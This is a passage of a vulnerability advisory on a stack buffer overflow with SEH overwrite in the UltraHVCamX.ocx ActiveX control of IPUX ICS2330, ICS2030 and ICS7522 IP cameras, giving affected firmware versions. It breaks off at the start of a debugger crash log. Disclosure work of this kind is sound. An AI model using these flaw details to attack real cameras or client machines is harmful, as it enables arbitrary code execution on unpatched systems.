IPUX CS7522/CS2330/CS2030 IP Camera (UltraHVCamX.ocx) ActiveX Stack Buffer Overflow Vendor: Big Good Holdings Limited | Fitivision Technology Inc. Product web page: http://www.ipux.net | http://www.fitivision.com Affected version: PT Type ICS2330 (firmware: ICS2330 1.1.0-29 20140120 r4296) Cube Type ICS2030 (firmware: ICS2030 1.1.0-21 20130223 r3967) Dome Type ICS7522 (firmware: ICS7522 1.1.0-7 20120413 r3812) Summary: The device is H.264 Wired/Wireless IP Camera with 1.3 Mega-pixel sensor. With high performance H.264 video compression, the file size of video stream is extremely reduced, as to optimize the network bandwidth efficiency. It has full Pan/Tilt function and 3X digital zoom feature for a larger space monitoring. The built-in USB port provides a convenient and portable storage option for local storage of event and schedule recording, especially network disconnected. Desc: The UltraHVCam ActiveX Control 'UltraHVCamX.ocx' suffers from a stack buffer overflow vulnerability when parsing large amount of bytes to several functions in UltraHVCamLib, resulting in memory corruption overwriting several registers including the SEH. An attacker can gain access to the system of the affected node and execute arbitrary code. ---------------------------------------------------------------------------------- (4b24.478c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling.
